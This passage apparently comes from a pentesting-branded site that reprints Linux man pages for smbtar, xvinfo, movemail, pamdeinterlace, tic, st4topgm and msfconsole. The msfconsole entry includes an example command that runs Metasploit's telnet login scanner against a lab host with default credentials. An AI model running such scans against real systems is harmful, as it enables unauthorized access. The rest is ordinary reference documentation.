              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

238 - Linux cli command smbtar

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command smbtar and provides detailed information about the command smbtar, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the smbtar.

NAME 🖥️ smbtar 🖥️

shell script for backing up SMB/CIFS shares directly to UNIX tape drives

SYNOPSIS

smbtar [-r] [-i] [-a] [-v] {-s server} [-p password] [-x services] [-X] [-N filename] [-b blocksize] [-d directory] [-l loglevel] [-u user] [-t tape] {filenames}

DESCRIPTION

This tool is part of the samba(7) suite.

smbtar is a very small shell script on top of smbclient(1) which dumps SMB shares directly to tape.

OPTIONS

-s server

The SMB/CIFS server that the share resides upon.

-x service

The share name on the server to connect to. The default is “backup”.

-X

Exclude mode. Exclude filenames… from tar create or restore.

-d directory

Change to initial directory before restoring / backing up files.

-v

Verbose mode.

-p password

The password to use to access a share. Default: none

-u user

The user id to connect as. Default: UNIX login name.

-a

Reset DOS archive bit mode to indicate file has been archived.

-t tape

Tape device. May be regular file or tape device. Default: $TAPE environmental variable; if not set, a file called tar.out.

-b blocksize

Blocking factor. Defaults to 20. See tar(1) for a fuller explanation.

-N filename

Backup only files newer than filename. Could be used (for example) on a log file to implement incremental backups.

-i

Incremental mode; tar files are only backed up if they have the archive bit set. The archive bit is reset after each file is read.

-r

Restore. Files are restored to the share from the tar file.

-l log level

Log (debug) level. Corresponds to the -d flag of smbclient(1).

ENVIRONMENT VARIABLES

The $TAPE variable specifies the default tape device to write to. May be overridden with the -t option.

BUGS

The smbtar script has different options from ordinary tar and from smbclients tar command.

CAVEATS

Sites that are more careful about security may not like the way the script handles PC passwords. Backup and restore work on entire shares; should work on file lists. smbtar works best with GNU tar and may not work well with other versions.

DIAGNOSTICS

See the DIAGNOSTICS section for the smbclient(1) command.

VERSION

This man page is part of version 4.20.1-Debian of the Samba suite.

SEE ALSO

smbd(8), smbclient(1), smb.conf(5).

AUTHOR

The original Samba software and related utilities were created by Andrew Tridgell. Samba is now developed by the Samba Team as an Open Source project similar to the way the Linux kernel is developed.

Ricky Poulten wrote the tar extension and this man page. The smbtar script was heavily rewritten and improved by Martin Kraemer. Many thanks to everyone who suggested extensions, improvements, bug fixes, etc. The man page sources were converted to YODL format (another excellent piece of Open Source software, available at ftp://ftp.icce.rug.nl/pub/unix/) and updated for the Samba 2.0 release by Jeremy Allison. The conversion to DocBook for Samba 2.2 was done by Gerald Carter. The conversion to DocBook XML 4.2 for Samba 3.0 was done by Alexander Bokovoy.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

239 - Linux cli command xvinfo

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xvinfo and provides detailed information about the command xvinfo, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xvinfo.

NAME 🖥️ xvinfo 🖥️

Print out X-Video extension adaptor information

SYNOPSIS

xvinfo [-display displayname]

DESCRIPTION

xvinfo prints out the capabilities of any video adaptors associated with the display that are accessible through the X-Video extension.

OPTIONS

-display display
This argument allows you to specify the server to query; see X(7).

-short
Output less details, to reduce the amount of text.

-version
Output program version, then exit.

ENVIRONMENT

DISPLAY
This variable may be used to specify the server to query.

SEE ALSO

X(7), xdpyinfo(1), xwininfo(1), xdriinfo(1), glxinfo(1), xprop(1)

AUTHORS

Mark Vojkovich

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

240 - Linux cli command movemail.mailutils

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command movemail.mailutils and provides detailed information about the command movemail.mailutils, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the movemail.mailutils.

NAME 🖥️ movemail.mailutils 🖥️

move messages across mailboxes.

SYNOPSIS

movemail.mailutils [OPTION…] inbox-url destfile [POP-password]

DESCRIPTION

GNU movemail move messages across mailboxes.

–[no-]emacs
output information used by Emacs rmail interface

–[no-]ignore-errors
try to continue after errors

–max-messages=NUMBER
process at most NUMBER messages

-m, –[no-]progress-meter
enable progress meter

–[no-]notify
enable biff notification

–onerror=KW[,KW…]
what to do on errors

-P, –owner=MODELIST
control mailbox ownership

-p, –[no-]preserve, –keep-messages
preserve the source mailbox

–program-id=FMT
set program identifier for diagnostics (default: program name)

-r, –[no-]reverse
reverse the sorting order

-u, –[no-]uidl
use UIDLs to avoid downloading the same message twice

-v, –verbose
increase verbosity level

Global debugging settings

–debug-level=LEVEL
set Mailutils debugging level

–[no-]debug-line-info show source info with debugging messages

Configuration handling

–config-file=FILE
load this configuration file; implies –no-config

–config-lint
check configuration file syntax and exit

–config-verbose
verbosely log parsing of the configuration files

–no-config
do not load site and user configuration files

–no-site-config
do not load site-wide configuration file

–no-user-config
do not load user configuration file

–set=PARAM=VALUE
set configuration parameter

Informational options

–config-help
show configuration file summary

–show-config-options
show compilation options

-?, –help
give this help list

–usage
give a short usage message

-V, –version
print program version

Mandatory or optional arguments to long options are also mandatory or optional for any corresponding short options.

REPORTING BUGS

Report bugs to <[email protected]>.
GNU Mailutils home page: <http://mailutils.org>
General help using GNU software: <http://www.gnu.org/gethelp/>

COPYRIGHT

Copyright © 2007-2024 Free Software Foundation, inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

The complete GNU mailutils documentation is maintained as a Texinfo manual. If the mailutils-doc package is installed, the command

info mailutils

should give you access to the complete manual.
You can also find this manual online in the GNU mailutils webpage:
https://www.gnu.org/software/mailutils/manual/index.html.
Please note this manpage was automatically generated by the Debian mailutils packagers. Do not file bugs for its content to the GNU Mailutils upstream authors.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

241 - Linux cli command pamdeinterlace

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamdeinterlace and provides detailed information about the command pamdeinterlace, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamdeinterlace.

.

NAME 🖥️ pamdeinterlace 🖥️

remove every other row from a PAM/PNM image

SYNOPSIS

pamdeinterlace

[-takeodd]

[-takeeven]

[infile]

You can use the minimum unique abbreviation of the options. You can use two hyphens instead of one. You can separate an option name from its value with white space instead of an equals sign.

DESCRIPTION

This program is part of Netpbm(1) .

pamdeinterlace removes all the even-numbered or odd-numbered rows from the input PNM or PAM image. Specify which with the -takeeven and -takeodd options.

This can be useful if the image is a video capture from an interlaced video source. In that case, each row shows the subject 1/60 second before or after the two rows that surround it. If the subject is moving, this can detract from the quality of the image.

Because the resulting image is half the height of the input image, you will then want to use pamstretch or pamscale to restore it to its normal height:

pamdeinterlace myimage.ppm | pamstretch -yscale=2 >newimage.ppm

Another, usually better, way to deinterlace an image is with pammixinterlace.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pamdeinterlace recognizes the following command line options:

-takeodd
Take the odd-numbered rows from the input and put them in the output. The rows are numbered starting at zero, so the first row in the output is the second row from the input. You cannot specify both -takeeven and -takeodd.

-takeeven
Take the even-numbered rows from the input and put them in the output. The rows are numbered starting at zero, so the first row in the output is the first row from the input. This is the default. You cannot specify both -takeeven and -takeodd.

SEE ALSO

pammixinterlace(1) , pam(1) pnm(1)

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamdeinterlace.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

242 - Linux cli command tic

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command tic and provides detailed information about the command tic, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the tic.

NAME 🖥️ tic 🖥️

compile terminal descriptions for terminfo or termcap

SYNOPSIS

tic [-01acCDfgGIKLNqrstTUVWx] [-e terminal-type-list] [-o dir] [-Q[n]] [-R subset] [-v[n]] [-w[n]] file

DESCRIPTION

The tic command translates a terminfo file from source format into compiled format. The compiled format is necessary for use with the library routines in ncurses(3NCURSES).

As described in term(5), the database may be either a directory tree (one file per terminal entry) or a hashed database (one record per entry). The tic command writes only one type of entry, depending on how it was built:

  • For directory trees, the top-level directory, e.g., /usr/share/terminfo, specifies the location of the database.

  • For hashed databases, a filename is needed. If the given file is not found by that name, but can be found by adding the suffix “.db”, then that is used.

    The default name for the hashed database is the same as the default directory name (only adding a “.db” suffix).

In either case (directory or hashed database), tic will create the container if it does not exist. For a directory, this would be the terminfo leaf, versus a “terminfo.db” file.

The results are normally placed in the system terminfo database /etc/terminfo. The compiled terminal description can be placed in a different terminfo database. There are two ways to achieve this:

  • First, you may override the system default either by using the -o option, or by setting the variable TERMINFO in your shell environment to a valid database location.

  • Secondly, if tic cannot write in /etc/terminfo or the location specified using your TERMINFO variable, it looks for the directory $HOME/.terminfo (or hashed database $HOME/.terminfo.db); if that location exists, the entry is placed there.

Libraries that read terminfo entries are expected to check in succession

  • a location specified with the TERMINFO environment variable,

  • $HOME/.terminfo,

  • directories listed in the TERMINFO_DIRS environment variable,

  • a compiled-in list of directories (/etc/terminfo:/lib/terminfo:/usr/share/terminfo), and

  • the system terminfo database (/etc/terminfo).

The Fetching Compiled Descriptions section in the terminfo(5) manual goes into further detail.

Aliases

This is the same program as infotocap and captoinfo; usually those are linked to, or copied from this program:

  • When invoked as infotocap, tic sets the -I option.

  • When invoked as captoinfo, tic sets the -C option.

OPTIONS

-0
restricts the output to a single line

-1
restricts the output to a single column

-a
tells tic to retain commented-out capabilities rather than discarding them. Capabilities are commented by prefixing them with a period. This sets the -x option, because it treats the commented-out entries as user-defined names. If the source is termcap, accept the 2-character names required by version 6. Otherwise these are ignored.

-C
Force source translation to termcap format. Note: this differs from the -C option of infocmp(1) in that it does not merely translate capability names, but also translates terminfo strings to termcap format. Capabilities that are not translatable are left in the entry under their terminfo names but commented out with two preceding dots. The actual format used incorporates some improvements for escaped characters from terminfo format. For a stricter BSD-compatible translation, add the -K option.

If this is combined with -c, tic makes additional checks to report cases where the terminfo values do not have an exact equivalent in termcap form. For example:

  • sgr usually will not convert, because termcap lacks the ability to work with more than two parameters, and because termcap lacks many of the arithmetic/logical operators used in terminfo.

  • capabilities with more than one delay or with delays before the end of the string will not convert completely.

-c
tells tic to only check file for errors, including syntax problems and bad use-links. If you specify -C (-I) with this option, the code will print warnings about entries which, after use resolution, are more than 1023 (4096) bytes long. Due to a fixed buffer length in older termcap libraries, as well as buggy checking for the buffer length (and a documented limit in terminfo), these entries may cause core dumps with other implementations.

tic checks string capabilities to ensure that those with parameters will be valid expressions. It does this check only for the predefined string capabilities; those which are defined with the -x option are ignored.

-D
tells tic to print the database locations that it knows about, and exit. The first location shown is the one to which it would write compiled terminal descriptions. If tic is not able to find a writable database location according to the rules summarized above, it will print a diagnostic and exit with an error rather than printing a list of database locations.

-e list
Limit writes and translations to the comma-separated list of terminal types. If any name or alias of a terminal matches one of the names in the list, the entry will be written or translated as normal. Otherwise no output will be generated for it. The option value is interpreted as a file containing the list if it contains a ‘/’. (Note: depending on how tic was compiled, this option may require -I or -C.)

-f
Display complex terminfo strings which contain if/then/else/endif expressions indented for readability.

-G
Display constant literals in decimal form rather than their character equivalents.

-g
Display constant character literals in quoted form rather than their decimal equivalents.

-I
Force source translation to terminfo format.

-K
Suppress some longstanding ncurses extensions to termcap format, e.g., “\s” for space.

-L
Force source translation to terminfo format using the long C variable names listed in <term.h>

-N
Disable smart defaults. Normally, when translating from termcap to terminfo, the compiler makes a number of assumptions about the defaults of string capabilities reset1_string, carriage_return, cursor_left, cursor_down, scroll_forward, tab, newline, key_backspace, key_left, and key_down, then attempts to use obsolete termcap capabilities to deduce correct values. It also normally suppresses output of obsolete termcap capabilities such as bs. This option forces a more literal translation that also preserves the obsolete capabilities.

-odir
Write compiled entries to given database location. Overrides the TERMINFO environment variable.

-Qn
Rather than show source in terminfo (text) format, print the compiled (binary) format in hexadecimal or base64 form, depending on the option’s value:

1
hexadecimal

2
base64

3
hexadecimal and base64

-q
Suppress comments and blank lines when showing translated source.

-Rsubset
Restrict output to a given subset. This option is for use with archaic versions of terminfo like those on SVr1, Ultrix, or HP-UX that do not support the full set of SVR4/XSI Curses terminfo; and outright broken ports like AIX 3.x that have their own extensions incompatible with SVr4/XSI.

Available subsets are

SVr1, Ultrix, HP, BSD, and AIX

See terminfo(5) for details.

-r
Force entry resolution (so there are no remaining tc capabilities) even when doing translation to termcap format. This may be needed if you are preparing a termcap file for a termcap library (such as GNU termcap through version 1.3 or BSD termcap through 4.3BSD) that does not handle multiple tc capabilities per entry.

-s
Summarize the compile by showing the database location into which entries are written, and the number of entries which are compiled.

-T
eliminates size-restrictions on the generated text. This is mainly useful for testing and analysis, since the compiled descriptions are limited (e.g., 1023 for termcap, 4096 for terminfo).

-t
tells tic to discard commented-out capabilities. Normally when translating from terminfo to termcap, untranslatable capabilities are commented-out.

-U
tells tic to not post-process the data after parsing the source file. Normally, it infers data which is commonly missing in older terminfo data, or in termcaps.

-V
reports the version of ncurses which was used in this program, and exits.

-vn
specifies that (verbose) output be written to standard error trace information showing tic’s progress.

The optional parameter n is a number from 1 to 9, inclusive, indicating the desired level of detail of information.

  • If ncurses is built without tracing support, the optional parameter is ignored.

  • If n is omitted, the default level is 1.

  • If n is specified and greater than 1, the level of detail is increased, and the output is written (with tracing information) to the trace file.

The debug flag levels are as follows:

1
Names of files created and linked

2
Information related to the use facility

3
Statistics from the hashing algorithm

4
Details of extended capabilities

5
(unused)

6
(unused)

7
Entries into the string-table

8
List of tokens encountered by scanner

9
All values computed in construction of the hash table

-W
By itself, the -w option will not force long strings to be wrapped. Use the -W option to do this.

If you specify both -f and -W options, the latter is ignored when -f has already split the line.

-wn
specifies the width of the output. The parameter is optional. If it is omitted, it defaults to 60.

-x
Treat unknown capabilities as user-defined (see user_caps(5)). That is, if you supply a capability name which tic does not recognize, it will infer its type (Boolean, number or string) from the syntax and make an extended table entry for that. User-defined capability strings whose name begins with k are treated as function keys.

Parameters

file
contains one or more terminfo terminal descriptions in source format [see terminfo(5)]. Each description in the file describes the capabilities of a particular terminal.

If file is -, then the data is read from the standard input. The file parameter may also be the path of a character-device.

Processing

All but one of the capabilities recognized by tic are documented in terminfo(5). The exception is the use capability.

When a use=entry-name field is discovered in a terminal entry currently being compiled, tic reads in the binary from /etc/terminfo to complete the entry. (Entries created from file will be used first. tic duplicates the capabilities in entry-name for the current entry, with the exception of those capabilities that explicitly are defined in the current entry.

When an entry, e.g., entry_name_1, contains a **use=**entry_name_2 field, any canceled capabilities in entry_name_2 must also appear in entry_name_1 before use= for these capabilities to be canceled in entry_name_1.

Total compiled entries cannot exceed 4096 bytes in the legacy storage format, or 32768 using the extended number format. The name field cannot exceed 512 bytes. Terminal names exceeding the maximum alias length (32 characters on systems with long filenames, 14 characters otherwise) will be truncated to the maximum alias length and a warning message will be printed.

FILES

/etc/terminfo
compiled terminal description database

NOTES

There is some evidence that historic tic implementations treated description fields with no whitespace in them as additional aliases or short names. This tic does not do that, but it does warn when description fields may be treated that way and check them for dangerous characters.

EXTENSIONS

Unlike the SVr4 tic command, this implementation can actually compile termcap sources. In fact, entries in terminfo and termcap syntax can be mixed in a single source file. See terminfo(5) for the list of termcap names taken to be equivalent to terminfo names.

The SVr4 manual pages are not clear on the resolution rules for use capabilities. This implementation of tic will find use targets anywhere in the source file, or anywhere in the file tree rooted at TERMINFO (if TERMINFO is defined), or in the user’s $HOME/.terminfo database (if it exists), or (finally) anywhere in the system’s file tree of compiled entries.

The error messages from this tic have the same format as GNU C error messages, and can be parsed by GNU Emacs’s compile facility.

Aside from -c and -v, options are not portable:

  • Most of tic’s options are not supported by SVr4 tic:

    -0 -1 -C -G -I -N -R -T -V -a -e -f -g -o -r -s -t -x

  • The NetBSD tic supports a few of the ncurses options

    -a -o -x

    and adds -S (a feature which does the same thing as infocmp’s -e and -E options).

The SVr4 -c mode does not report bad use= links.

System V does not compile entries to or read entries from your $HOME/.terminfo database unless TERMINFO is explicitly set to it.

PORTABILITY

X/Open Curses, Issue 7 (2009) provides a brief description of tic. It lists one option: -c. The omission of -v is unexpected. The change history states that the description is derived from Tru64. According to its manual pages, that system also supported the -v option.

Shortly after Issue 7 was released, Tru64 was discontinued. As of 2019, the surviving implementations of tic are SVr4 (AIX, HP-UX and Solaris), ncurses and NetBSD curses. The SVr4 tic programs all support the -v option. The NetBSD tic program follows X/Open’s documentation, omitting the -v option.

The X/Open rationale states that some implementations of tic read terminal descriptions from the standard input if the file parameter is omitted. None of these implementations do that. Further, it comments that some may choose to read from ./terminfo.src but that is obsolescent behavior from SVr2, and is not (for example) a documented feature of SVr3.

HISTORY

System V Release 2 provided a tic utility. It accepted a single option: -v (optionally followed by a number). According to Ross Ridge’s comment in mytinfo, this version of tic was unable to represent cancelled capabilities.

System V Release 3 provided a different tic utility, written by Pavel Curtis, (originally named compile in pcurses). This added an option -c to check the file for errors, with the caveat that errors in use= links would not be reported. System V Release 3 documented a few warning messages which did not appear in pcurses. While the program itself was changed little as development continued with System V Release 4, the table of capabilities grew from 180 (pcurses) to 464 (Solaris).

In early development of ncurses (1993), Zeyd Ben-Halim used the table from mytinfo to extend the pcurses table to 469 capabilities (456 matched SVr4, 8 were only in SVr4, 13 were not in SVr4). Of those 13, 11 were ultimately discarded (perhaps to match the draft of X/Open Curses). The exceptions were memory_lock_above and memory_unlock (see user_caps(5)).

Eric Raymond incorporated parts of mytinfo into ncurses to implement the termcap-to-terminfo source conversion, and extended that to begin development of the corresponding terminfo-to-termcap source conversion, Thomas Dickey completed that development over the course of several years.

In 1999, Thomas Dickey added the -x option to support user-defined capabilities.

In 2010, Roy Marples provided a tic program and terminfo library for NetBSD. That implementation adapts several features from ncurses, including tic’s -x option.

The -c option tells tic to check for problems in the terminfo source file. Continued development provides additional checks:

  • pcurses had 8 warnings

  • ncurses in 1996 had 16 warnings

  • Solaris (SVr4) curses has 28 warnings

  • NetBSD tic in 2019 has 19 warnings.

  • ncurses in 2019 has 96 warnings

The checking done in ncursestic helps with the conversion to termcap, as well as pointing out errors and inconsistencies. It is also used to ensure consistency with the user-defined capabilities. There are 527 distinct capabilities in ncurses’ terminal database; 128 of those are user-defined.

AUTHORS

Eric S. Raymond <[email protected]> and
Thomas E. Dickey <[email protected]>

SEE ALSO

captoinfo(1), infocmp(1), infotocap(1), toe(1), ncurses(3NCURSES), term(5), terminfo(5), user_caps(5)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

243 - Linux cli command st4topgm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command st4topgm and provides detailed information about the command st4topgm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the st4topgm.

.

NAME 🖥️ st4topgm 🖥️

convert an SBIG ST-4 camera file to PGM

SYNOPSIS

st4topgm

[st4file]

DESCRIPTION

This program is part of Netpbm(1) .

st4topgm reads an image file in the native format used by the Santa Barbara Instrument Group (SBIG) ST-4 astronomical CCD cameras, and produces a PGM image as output. This format is not to be confused with the format most other SBIG cameras use, for which you can use sbigtopgm.

Additional information on SBIG cameras and documentation of the file format is available at the Web site, http://www.sbig.com/ .

OPTIONS

There are no command line options defined specifically for st4topgm, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

pgmtost4(1) sbigtopgm(1) pgm(1)

HISTORY

Bryan Henderson wrote st4topgm for Sourceforge Netpbm in January 2015. However, there has been another program by the same name for the same purpose since December 2003, in the Debian version of Netpbm. It was written by Justin Pryzby <[email protected]>.

Bryan discovered the Debian version when Prophet of the Way did a comparison of the two Netpbms in January 2015. It was the only program that the Debian version had that the Netpbm version did not (not counting one that really didn’t belong in any Netpbm), so Bryan decided to add it. Because it was a small program, Bryan decided to write a replacement in the Netpbm coding style rather than just copy Pryzby’s code, but Bryan endeavoured to keep the same function.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/st4topgm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

244 - Linux cli command msfconsole

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command msfconsole and provides detailed information about the command msfconsole, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the msfconsole.

NAME 🖥️ msfconsole 🖥️

Metasploit Framework Console

SYNOPSIS

msfconsole [options]

DESCRIPTION

Msfconsole is probably the most popular interface to the MSF. It provides an “all-in-one” centralized console and allows you efficient access to virtually all of the options available in the Metasploit Framework. Msfconsole may seem intimidating at first, but once you learn the syntax of the commands you will learn to appreciate the power of utilizing this interface.

OPTIONS

Common options

-E, –environment ENVIRONMENT
The Rails environment. Will use RAIL_ENV environment variable if that is set. Defaults to production if neither option not RAILS_ENV environment variable is set.

Database options

-M, –migration-path DIRECTORY Specify a directory containing additional DB migrations -n, –no-database Disable database support -y, –yaml PATH Specify a YAML file containing database settings

Framework options

-c FILE Load the specified configuration file -v, –version Show version

Module options

–defer-module-loads Defer module loading unless explicitly asked. -m, –module-path DIRECTORY An additional module path

Console options:

-a, –ask Ask before exiting Metasploit or accept ’exit -y’ -d, –defanged Execute the console as defanged -L, –real-readline Use the system Readline library instead of RbReadline -o, –output FILE Output to the specified file -p, –plugin PLUGIN Load a plugin on startup -q, –quiet Do not print the banner on start up -r, –resource FILE Execute the specified resource file (- for stdin) -x, –execute-command COMMAND Execute the specified string as console commands (use ; for multiples) -h, –help Show help message

EXAMPLE

msfconsole -q -x “use auxiliary/scanner/telnet/telnet_login; set USERNAME msfadmin; set PASSWORD msfadmin; set RHOSTS metasploitable; run; exit -y”

SEE ALSO

msfcli(1) - deprecated -
msfvenom(1)
msfpayload(1) - deprecated -
msfencode(1) - deprecated -

AUTHOR(S)

Creator
HD Moore - @hdmoore / [email protected]
Man Page Author: Kali Linux™ File man page bug reports at https://bugs.kali.org

Top Contributors,
Joshua J. Drake, Wei Chen, James Lee, Mario Ceballos, Steve Tornio, David D. Rude II, Ramon Valle, Nathan Keltner, Tod Beardsley, Patrick Webster, Chris Gates, Jonathan Cran, Efrain Torres, Carlos Perez, Stephen Fewer, Alexandre Maloteaux, Chao Mu, Juan Vazquez, Brandon Perry, David Maloney

NOTES

For a more complete list of contributors run:
/usr/share/metasploit-framework/tools/modules_authors.rb
Or visit:
https://github.com/rapid7/metasploit-framework/graphs/contributors

COPYRIGHT

Copyright (C) 2006-2015, Rapid7 Inc. All rights reserved.

Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:

*
Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.

*
Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.

*
Neither the name of Rapid7 LLC nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.

